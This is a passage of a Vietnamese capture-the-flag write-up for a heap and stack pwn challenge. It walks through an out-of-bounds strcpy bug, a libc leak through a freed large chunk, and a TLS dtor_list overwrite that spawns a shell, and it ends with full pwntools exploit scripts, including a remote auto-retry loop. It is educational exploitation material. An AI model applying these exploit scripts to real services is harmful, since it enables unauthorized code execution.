  int64_t cre; // [rsp+8h] [rbp-118h] BYREF
  char buffer[267]; // [rsp+10h] [rbp-110h] BYREF
  uint8_t key_len; // [rsp+11Bh] [rbp-5h]
  int i; // [rsp+11Ch] [rbp-4h]

  memset(buffer, 0, 0x109uLL);
  key_len = strlen(current_user->key);
  strcpy(buffer, current_user->key);
  key_len -= 4;
  strcpy(&buffer[key_len], current_user->name); // small oob
  for ( i = 0; (unsigned int)i <= 0x20; i += 8 )
  {
    cre = 0LL;
    strncpy((char *)&cre, &buffer[i], 8uLL);
    printf_flush("%lx ", cre);
  }
  printf_flush("\n");
}
```
- Trước hết chương trình cho ta nhập biến `name` được lưu trong `current-user`, biến `key` thì sẽ được randomize, struct lưu 2 biến trên cơ bản là như sau:
```
00000000 struct User // sizeof=0x109
00000000 {
00000000     char name[256];
00000100     char key[9];
00000109 };
```
- Vô phần menu() chính thì ta có 3 lựa chọn:
> 1. change_name: có tác dụng thay đổi biến `name`, ở đây có 1 cái bug nhỏ là khi mình nhập vô 256 bytes(0x100) thì numm=0x100 -> current_user->name[0x100] = 0 -> đè 1 bytes null sang biến `key` được ghi ngay sau nó
> 2. khởi tạo 1 chunk `json_data` với size được nhập từ người dùng và ghi data vào chunk đó với size mình đã chọn (bắt buộc ghi đủ số bytes mình đã nhập)
    > 3. show_credential() : có tác dụng (intented) là print ra 1 dãy [1/2key][data] và lưu nó vào `cre`. Nhưng nhìn vô hàm này sẽ thấy có hàm `strlen`-nếu ta nhập vào 1 chuỗi có chứa bytes null ở đầu thì `strlen()` sẽ bằng 0. Vì vậy nó sẽ khiến cho `buf[key_len] = buf[-4]` . Mình cứ nghĩ nó sẽ ghi vào biến `name` nhưng mình đã nhầm. Khi gdb thì mình phát hiện nó không ghi vào `buf[-4]` mà lại ghi vào `buf[252] = buf[256-4]` có lẽ rằng vì biến `key_len` ban đầu được khai báo là `unsinged int 8 == 1 bytes dương` nên mới có sự thay đổi này.

- Chính tại hàm `show_credential()` đã bị oob khi mình có thể ghi 1 dãy 0x100 bytes vào địa chỉ `rbp-0x14 == buf[252]`
``` python=
pa = b"A"*0x100
pa = pa.ljust(0x100 ,b"\x00")
#strcpy() se stop ghi khi ma trong mang co byte NULL, nhung van se ghi them byte NULL vo
change_name(pa)
show_cre()
```

### Exploit

![image](https://hackmd.io/_uploads/S1lKb8pC2xx.png)
- tại lúc này, mình đã overflow -> ghi đè cả rsp và rbp 
> - Lúc này mình nảy ra idea là liệu có thể ret2libc không? nên mình đã thử leak libc trước =))), khó chỗ nào thì cứ leak được đã hẹ hẹ hẹ =))))
- hmm vậy thì leak kiểu gì được =(((( ?


![image](https://hackmd.io/_uploads/BkWlPpChxg.png)
- để ý có malloc heap ở đây. Vì malloc 1 chunk quá to vượt ngoài phạm vi của tcaches, khi free chunk này thì ta sẽ có được địa chỉ libc bên trong heap
-> mà lại còn có `beauty_json()` giúp ta print cái địa chỉ heap này ra nữa -> maybe là sẽ leak theo cách này
- mà nhìn vô ida bên trên thì ta thấy chương trình check liệu có `json data` không bằng cách check `[rbp-offset(json)]` => nếu mình thay đổi được rbp -> thay đổi được cái phần checking này. Mà mình có thể thay đổi rbp mà => HÚP
- okay vậy thì giờ sao, mình sẽ tạo 2 chunk 1 chunk 0x700 và 1 chunk 0x20 để tránh cho chunk 0x700 bị consolidate. Bằng cách thay đổi qua lại giữa 2 địa chỉ rbp mình control được (chỉ control được 2 bytes thui : null + 1 bytes mình ghi).

``` python=
def change_name(name):
    slan(b'> ', 1)
    sa(b'name: ', name)

def change_json(size, data):
    slan(b'> ', 2)
    slan(b'size: ', size)
    sa(b'data: ', data)

def show_cre():
    slan(b'> ', 3)\
        
def demangle(mangled, key):
    return ((mangled >> 17) ^ key)

sla(b"name: ", b"kvv")
#case change name -> name[256]=\x00 -> show_credential -> sua key
# input("WAIT")
# change_name(b'A'*0x100)

pa = b"A"*0x14 + b"\xd0"  # duoi rbp = x00d0
pa = pa.ljust(0x100 ,b"\x00")
#strcpy() se stop ghi khi ma trong mang co byte NULL, nhung van se ghi them byte NULL vo
change_name(pa)
show_cre()
change_json(0x700, b"A"*0x700)

# trong heap, neu chunk ke tiep chunk cbi free la top_chunk -> consolidate
# neu chunk ke tiep no la 1 chunk binh thuong thi se ko bi consolidate

pa1 = b"A"*0x14 + b"\x00"     # duoi rbp = x0000
pa1 = pa1.ljust(0x100 ,b"\x00")
change_name(pa1)
show_cre()

change_json(0x10, b"B"*0x10)

pa = b"A"*0x14 + b"\xd0" # duoi rbp = x00d0 #back ve rbp cu de free(json_data)
pa = pa.ljust(0x100 ,b"\x00")
change_name(pa)
show_cre()

```
![image](https://hackmd.io/_uploads/SJWx-002lg.png)
-> lúc này thì ta đã có chunk 0x700 ở đây, giờ chỉ cần free nữa thôi thì sẽ leak được libc

![image](https://hackmd.io/_uploads/Hkxtb0Rhll.png)
-> started freeing()
![image](https://hackmd.io/_uploads/HySWMCA3lx.png)

- auke zòi có libc, lúc này mình định ret2libc nhưng khi mình thử lại có chút trục trặc, hàm `strcpy` chỉ copy tới khi gặp `\x00` nên với những địa chỉ như `pop rdi` hay `system` thì mình sẽ không thể cho vô stack được vì đây là những địa chỉ dạng 6 bytes -> còn 2 bytes null nên nếu có fill thì cũng chỉ fill được tới pop rdi là hết nấc -> loại

https://github.com/nobodyisnobody/docs/tree/main/code.execution.on.last.libc#5---code-execution-via-tls-storage-dtor_list-overwrite
- Kĩ thuật giúp thực hiện shell khi gọi `exit` hoặc `return`. Tuy nhiên khi mình test thử trên bản libc 2.35 thì phát hiện struct của tác giả đã cũ, có sự sai lệch nhẹ, nhưng bài này là ghi chunk vào tls chứ không ghi thẳng vào tls như bài trên nên là anyways, ai mún lấy bản get_shell của struct libc 2.35 thì ib mình <3

- Sau đó mình nhận thấy rằng nếu đè được rbp -> ghi được *json_data vô đâu cũng được , có thể ghi vào `dtors list`. Ở `dtors list` sẽ có 1 biến là `dtor_list->func` - là 1 con trỏ tới 1 struct dtor_list khác và sẽ được check như sau:
```
`typedef void (*dtor_func) (void *);
struct dtor_list
{
  dtor_func func;
  void *obj;
  struct link_map *map;
  struct dtor_list *next;
};

....
....    
/* Call the destructors.  This is called either when a thread returns from the
   initial function or when the process exits via the exit function.  */
void
__call_tls_dtors (void)
{
  while (tls_dtor_list)		// parse the dtor_list chained structures
    {
      struct dtor_list *cur = tls_dtor_list;		// cur point to tls-storage dtor_list
      dtor_func func = cur->func;
      PTR_DEMANGLE (func);						// demangle the function ptr

      tls_dtor_list = tls_dtor_list->next;		// next dtor_list structure
      func (cur->obj);					

      /* Ensure that the MAP dereference happens before
         l_tls_dtor_count decrement.  That way, we protect this access from a
         potential DSO unload in _dl_close_worker, which happens when
         l_tls_dtor_count is 0.  See CONCURRENCY NOTES for more detail.  */
      atomic_fetch_add_release (&cur->map->l_tls_dtor_count, -1);
      free (cur);
    }
```
![image](https://hackmd.io/_uploads/rkmO7RR2eg.png)
- Trong đó `dtor_list->func` sẽ là cái mình call tới, còn `dtor_list->obj` chính là rdi của hàm sẽ call. Cài này trong git tác giả cũng đã nói
![image](https://hackmd.io/_uploads/S1oTVCAhge.png)

- Những lưu ý nhẹ ở đây là cái phần key aka `ptr_mangle cookie` sẽ có cơ chế magle như sau: `address_moi = (address_cu << 17)^key`. Thì ctrinh mới đọc =( . Bước 1 ta sẽ ghi đè key = 0 , thì ta chỉ cần <<17 thui là xong òi.
- Ghi đè sao zờ ...

![image](https://hackmd.io/_uploads/rJe9LRCnge.png)
- vì mình change được rbp -> mình sẽ cho rbp-offset_size tới thẳng key lun -> nếu yêu cầu nhập vô thì mình nhâp 0 -> change mạnh luôngggg

![image](https://hackmd.io/_uploads/SJH9PC0hll.png)
- target của mình start từ `dtor_list->func` nhé

![image](https://hackmd.io/_uploads/rysYd0C3le.png)
-> key đã bằng 0
-> giờ chỉ cần tạo struct ghi vào target thui
![image](https://hackmd.io/_uploads/HJ2u9C02eg.png)

```py=
target = libc.address - 0x2918
print('tls target: ' + hex(target))


# key -> null
key = target + 0x88

pa = b"A"*0x14 + p64(key+0x18)
pa = pa.ljust(0x100 ,b"\x00")
change_name(pa)
show_cre() #change rbp
slan(b'> ', 2)
slan(b'size: ', 0)

pa = b"A"*0x14 + p64(target+0x8)
pa = pa.ljust(0x100 ,b"\x00")
change_name(pa)
show_cre() #change rbp
slan(b'> ', 2)
slan(b'size: ', 0x20)
system = system<<17
pa = p64(system) + p64(next(libc.search(b'/bin/sh'))) + p64(0)*2
sa(b'data: ', pa)
```

-> giờ chỉ cần gọi exit thoi
![image](https://hackmd.io/_uploads/rJ5pcC03xe.png)
DONE LOCALLY

- CÒN REMOTE ... em cho script tự động
![image](https://hackmd.io/_uploads/SJrf7kyTgx.png)


### FULL SCRIPT
- SCRIPT GỐC
``` python=
#!/usr/bin/python3

from pwn import *
import time
import signal
import sys

context.binary = exe = ELF('./main_patched', checksec=False)
libc = ELF('./libc.so.6', checksec=False)
ld = ELF('./ld-linux-x86-64.so.2', checksec=False)

info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)
slan = lambda msg, num: sla(msg, str(num).encode())
san = lambda msg, num: sa(msg, str(num).encode())
sln = lambda num: sl(str(num).encode())
sn = lambda num: s(str(num).encode())
r = lambda nbytes: p.recv(nbytes)
ru = lambda data: p.recvuntil(data)
rl = lambda : p.recvline()

def GDB():
    if not args.REMOTE:
        gdb.attach(p, gdbscript='''
            b *0x0000000000401737
            b *0x00000000004018E6
            b *0x0000000000401925
            b *0x00000000004017B0
            b *0x0000000000401859
            b *0x00000000004018D8

            b *0x0000000000401737
            c
            ''')

def exploit():
    global p
    try:
        if args.REMOTE:
            p = remote("165.22.55.200", 40002)
        else:
            p = process(exe.path)
        
        # Disable GDB for auto mode
        if not args.AUTO:
            GDB()
        
        return run_exploit()
    except Exception as e:
        print(f"[-] Exploit failed: {e}")
        if p:
            p.close()
        return False

def run_exploit():
    def change_name(name):
        slan(b'> ', 1)
        sa(b'name: ', name)

    def change_json(size, data):
        slan(b'> ', 2)
        slan(b'size: ', size)
        sa(b'data: ', data)

    def show_cre():
        slan(b'> ', 3)
            
    def demangle(mangled, key):
        return ((mangled >> 17) ^ key)

    sla(b"name: ", b"kvv")
#case change name -> name[256]=\x00 -> show_credential -> sua key
# input("WAIT")
# change_name(b'A'*0x100)

pa = b"A"*0x14 + b"\xd0"
pa = pa.ljust(0x100 ,b"\x00")
#strcpy() se stop ghi khi ma trong mang co byte NULL, nhung van se ghi them byte NULL vo
change_name(pa)
show_cre()
change_json(0x700, b"A"*0x700)

# trong heap, neu chunk ke tiep chunk cbi free la top_chunk -> consolidate
# neu chunk ke tiep no la 1 chunk binh thuong thi se ko bi consolidate

pa1 = b"A"*0x14 + b"\x00"
pa1 = pa1.ljust(0x100 ,b"\x00")
change_name(pa1)
show_cre()

change_json(0x10, b"B"*0x10)

pa = b"A"*0x14 + b"\xd0"
pa = pa.ljust(0x100 ,b"\x00")
change_name(pa)
show_cre()

# input("WAIT")
# control rbp, rsp
# 0x00000000004016b2 : mov eax, dword ptr [rbp - 4] ; leave ; ret
#0x7ffc8ec89fa8

slan(b'> ', 2)
slan(b'size: ', 0)
r(0x17)
libc_leak = u64(r(6).ljust(8, b'\x00'))
libc.address = libc_leak - 0x21b190
info(f"libc leak: {hex(libc_leak)}")
info(f"libc base: {hex(libc.address)}")

one_gadget = libc.address + 0x10a38c

# bin = next(libc.search(b'/bin/sh\x00'))
system = 0x50d70 + libc.address
pop_rdi = 0x000000000002a3e5 + libc.address

# ko one gadget vi p64(libc_adress) thi se co byte null =((((
# pa1 = b"A"*0x14 + p64(0x4141414141414141) + p64(pop_rdi) + p64(bin) + p64(system)
# pa1 = pa1.ljust(0x100 ,b"\x00")
# change_name(pa1)
# show_cre()
# input("WAIT")
target = libc.address - 0x2918
print('tls target: ' + hex(target))


# key -> null
key = target + 0x88

pa = b"A"*0x14 + p64(key+0x18)
pa = pa.ljust(0x100 ,b"\x00")
change_name(pa)
show_cre() #change rbp
# sleep(1)
slan(b'> ', 2)
slan(b'size: ', 0)

pa = b"A"*0x14 + p64(target+0x8)
pa = pa.ljust(0x100 ,b"\x00")
change_name(pa)
show_cre() #change rbp
# sleep(1)
slan(b'> ', 2)
slan(b'size: ', 0x20)
system = system<<17
pa = p64(system) + p64(next(libc.search(b'/bin/sh'))) + p64(0)*2
sa(b'data: ', pa)

slan(b'> ', 4)

p.interactive()
```


- SCRIPT TỰ ĐỘNG
``` python=
#!/usr/bin/python3

from pwn import *
import time
import sys

context.binary = exe = ELF('./main_patched', checksec=False)
libc = ELF('./libc.so.6', checksec=False)
ld = ELF('./ld-linux-x86-64.so.2', checksec=False)

def exploit():
    try:
        if args.REMOTE:
            p = remote("165.22.55.200", 40002)
        else:
            p = process(exe.path)

        sla = lambda msg, data: p.sendlineafter(msg, data)
        sa = lambda msg, data: p.sendafter(msg, data)
        slan = lambda msg, num: sla(msg, str(num).encode())
        r = lambda nbytes: p.recv(nbytes)

        def change_name(name):
            slan(b'> ', 1)
            sa(b'name: ', name)

        def change_json(size, data):
            slan(b'> ', 2)
            slan(b'size: ', size)
            sa(b'data: ', data)

        def show_cre():
            slan(b'> ', 3)

        # Main exploit
        sla(b"name: ", b"kvv")
        
        pa = b"A"*0x14 + b"\xd0"
        pa = pa.ljust(0x100 ,b"\x00")
        change_name(pa)
        show_cre()
        change_json(0x700, b"A"*0x700)

        pa1 = b"A"*0x14 + b"\x00"
        pa1 = pa1.ljust(0x100 ,b"\x00")
        change_name(pa1)
        show_cre()

        change_json(0x10, b"B"*0x10)

        pa = b"A"*0x14 + b"\xd0"
        pa = pa.ljust(0x100 ,b"\x00")
        change_name(pa)
        show_cre()

        slan(b'> ', 2)
        slan(b'size: ', 0)
        r(0x17)
        libc_leak = u64(r(6).ljust(8, b'\x00'))
        libc.address = libc_leak - 0x21b190
        
        system = 0x50d70 + libc.address
        target = libc.address - 0x2918
        key = target + 0x88

        pa = b"A"*0x14 + p64(key+0x18)
        pa = pa.ljust(0x100 ,b"\x00")
        change_name(pa)
        show_cre()
        
        slan(b'> ', 2)
        slan(b'size: ', 0)

        pa = b"A"*0x14 + p64(target+0x8)
        pa = pa.ljust(0x100 ,b"\x00")
        change_name(pa)
        show_cre()
        
        slan(b'> ', 2)
        slan(b'size: ', 0x20)
        system = system<<17
        pa = p64(system) + p64(next(libc.search(b'/bin/sh'))) + p64(0)*2
        sa(b'data: ', pa)

        slan(b'> ', 4)
        
        # Simple shell test - just try to run a command
        time.sleep(0.5)
        p.sendline(b'id')
        try:
            result = p.recvuntil(b'uid=', timeout=2)
            if b'uid=' in result:
                print(f"[+] SHELL CONFIRMED! Got uid output")
                return p
        except:
            pass
        
        # Alternative test
        p.sendline(b'whoami') 
        try:
            result = p.recv(timeout=2)
            if len(result) > 0 and b'>' not in result:  # Got some output that's not menu
                print(f"[+] SHELL CONFIRMED! Got command output: {result}")
                return p
        except:
            pass
            
        print(f"[-] Shell test failed")
        p.close()
        return None
        
    except Exception as e:
        print(f"[-] Exploit failed: {e}")
        try:
            p.close()
        except:
            pass
        return None

def main():
    attempt = 1
    max_attempts = 500
    
    print(f"[*] Auto exploit mode - will try up to {max_attempts} times")
    
    while attempt <= max_attempts:
        print(f"\n[{attempt:3d}/{max_attempts}] Trying exploit...")
        
        shell = exploit()
        if shell:
            print(f"\n🎉 SUCCESS after {attempt} attempts!")
            print(f"[+] Dropping to interactive shell...")
            shell.interactive()
            break
        else:
            if attempt % 10 == 0:
                print(f"[*] {attempt} attempts completed, still trying...")
            attempt += 1
            time.sleep(0.1)  # Short delay
    
    if attempt > max_attempts:
        print(f"\n[-] Failed after {max_attempts} attempts")
        print(f"[-] Server environment might be too unstable")

if __name__ == "__main__":
    if len(sys.argv) > 1 and sys.argv[1] == "local":
        args.REMOTE = False
    else:
        args.REMOTE = True
    
    main()
```